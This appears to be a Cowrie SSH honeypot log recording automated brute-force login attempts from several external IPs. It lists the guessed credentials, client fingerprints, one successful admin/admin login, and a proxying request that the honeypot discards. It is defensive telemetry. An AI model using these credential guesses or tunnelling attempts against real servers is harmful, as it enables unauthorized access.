{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b1:21:ab:58:df:7e:4b:f1:3b:4a:2a:c8:ae:3e:df:fa","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDw9J5ikFyBFrz9YSPInLxOwvMNkV3hxYyBv9PG0ZIValnL1Rrq8iAOrL4+OZnsmDG9NYrBPXhxDKXqbyXD6aIELKGSe43jZAo5XLVQO+QdXaRWBKhnEDFHu5bEHyb5xAcrrjxHsfbCEF4wzg4V2YjkskWizLDEnXWPoF/wk91U3sLIqQJj/RdTEUdsfouGcX+OhnaISp3lrczGxQJBbUQw9sEayVwjOWmI8+yTZXbtEflGW/Qaeb+SXwm9I6CKm2yHuAOSxT1xu2RbncD9ULFstDR62ayxdE67/3xqiFpkBleNQmSZR0+twBbURWn+8m27hAfI/e+gYQ3tRoID1JuV","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b1:21:ab:58:df:7e:4b:f1:3b:4a:2a:c8:ae:3e:df:fa","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:28:52.838079Z","src_ip":"186.233.184.67","session":"42d3b275f3d8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b1:21:ab:58:df:7e:4b:f1:3b:4a:2a:c8:ae:3e:df:fa","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDw9J5ikFyBFrz9YSPInLxOwvMNkV3hxYyBv9PG0ZIValnL1Rrq8iAOrL4+OZnsmDG9NYrBPXhxDKXqbyXD6aIELKGSe43jZAo5XLVQO+QdXaRWBKhnEDFHu5bEHyb5xAcrrjxHsfbCEF4wzg4V2YjkskWizLDEnXWPoF/wk91U3sLIqQJj/RdTEUdsfouGcX+OhnaISp3lrczGxQJBbUQw9sEayVwjOWmI8+yTZXbtEflGW/Qaeb+SXwm9I6CKm2yHuAOSxT1xu2RbncD9ULFstDR62ayxdE67/3xqiFpkBleNQmSZR0+twBbURWn+8m27hAfI/e+gYQ3tRoID1JuV","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:28:52.841398Z","src_ip":"186.233.184.67","session":"42d3b275f3d8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:28:52.881480Z","src_ip":"186.233.184.67","session":"42d3b275f3d8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":49098,"dst_ip":"10.17.0.5","dst_port":22,"session":"2bc8b2b301d3","protocol":"ssh","message":"New connection: 193.37.70.224:49098 (10.17.0.5:22) [session: 2bc8b2b301d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:28:58.141488Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:28:58.144693Z","src_ip":"193.37.70.224","session":"2bc8b2b301d3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:28:58.236642Z","src_ip":"193.37.70.224","session":"2bc8b2b301d3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"yfcnz12345","message":"login attempt [root/yfcnz12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:28:58.512507Z","src_ip":"193.37.70.224","session":"2bc8b2b301d3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:28:59.606641Z","src_ip":"193.37.70.224","session":"2bc8b2b301d3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.169.202.129","src_port":43174,"dst_ip":"10.17.0.5","dst_port":22,"session":"8995b9b6739f","protocol":"ssh","message":"New connection: 192.169.202.129:43174 (10.17.0.5:22) [session: 8995b9b6739f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:29:07.796377Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:29:07.799044Z","src_ip":"192.169.202.129","session":"8995b9b6739f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:29:07.862932Z","src_ip":"192.169.202.129","session":"8995b9b6739f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P1x3l!M@st3r#P@ss","message":"login attempt [root/P1x3l!M@st3r#P@ss] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:29:08.058295Z","src_ip":"192.169.202.129","session":"8995b9b6739f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:29:09.125224Z","src_ip":"192.169.202.129","session":"8995b9b6739f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.11","src_port":52330,"dst_ip":"10.17.0.5","dst_port":22,"session":"b95543ab6740","protocol":"ssh","message":"New connection: 91.92.40.11:52330 (10.17.0.5:22) [session: b95543ab6740]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:29:41.405369Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:29:41.558255Z","src_ip":"91.92.40.11","session":"b95543ab6740","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:29:41.561290Z","src_ip":"91.92.40.11","session":"b95543ab6740","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"letmein","message":"login attempt [root/letmein] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:29:42.692344Z","src_ip":"91.92.40.11","session":"b95543ab6740","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:29:44.014328Z","src_ip":"91.92.40.11","session":"b95543ab6740","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.137","src_port":34788,"dst_ip":"10.17.0.5","dst_port":22,"session":"32886129a1bf","protocol":"ssh","message":"New connection: 195.178.110.137:34788 (10.17.0.5:22) [session: 32886129a1bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:29:44.074223Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:29:44.119251Z","src_ip":"195.178.110.137","session":"32886129a1bf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"bf7dbf67fa9b26ee9f9deb99c49320ba","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour256,arcfour128,arcfour;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256","rsa-sha2-512","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc","arcfour256","arcfour128","arcfour"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: bf7dbf67fa9b26ee9f9deb99c49320ba","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:29:44.160738Z","src_ip":"195.178.110.137","session":"32886129a1bf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"","message":"login attempt [admin/] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:29:44.585720Z","src_ip":"195.178.110.137","session":"32886129a1bf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:29:45.673433Z","src_ip":"195.178.110.137","session":"32886129a1bf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"178.20.210.208","src_port":23809,"dst_ip":"159.203.135.109","dst_port":22,"session":"2ba8a7b69d2d","protocol":"ssh","message":"New connection: 178.20.210.208:23809 (159.203.135.109:22) [session: 2ba8a7b69d2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:29:53.603667Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:29:54.502994Z","src_ip":"178.20.210.208","session":"2ba8a7b69d2d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:29:54.505860Z","src_ip":"178.20.210.208","session":"2ba8a7b69d2d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz@2WSX","message":"login attempt [root/1qaz@2WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:29:54.898575Z","src_ip":"178.20.210.208","session":"2ba8a7b69d2d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:29:56.000426Z","src_ip":"178.20.210.208","session":"2ba8a7b69d2d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.53.159.196","src_port":36650,"dst_ip":"159.203.135.109","dst_port":22,"session":"ca683238ae56","protocol":"ssh","message":"New connection: 176.53.159.196:36650 (159.203.135.109:22) [session: ca683238ae56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:30:04.063937Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:30:04.069588Z","src_ip":"176.53.159.196","session":"ca683238ae56","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:30:04.174300Z","src_ip":"176.53.159.196","session":"ca683238ae56","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:30:04.479050Z","src_ip":"176.53.159.196","session":"ca683238ae56","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"176.53.159.196","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:30:04.582572Z","session":"ca683238ae56","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:30:04.685220Z","src_ip":"176.53.159.196","session":"ca683238ae56","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:30:04.788284Z","src_ip":"176.53.159.196","session":"ca683238ae56","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.11","src_port":53860,"dst_ip":"10.17.0.5","dst_port":22,"session":"8ffe5a4fe7ea","protocol":"ssh","message":"New connection: 91.92.40.11:53860 (10.17.0.5:22) [session: 8ffe5a4fe7ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:30:39.384762Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:30:39.536937Z","src_ip":"91.92.40.11","session":"8ffe5a4fe7ea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:30:39.540854Z","src_ip":"91.92.40.11","session":"8ffe5a4fe7ea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"passw0rd","message":"login attempt [root/passw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:30:40.645014Z","src_ip":"91.92.40.11","session":"8ffe5a4fe7ea","protocol":"ssh"}
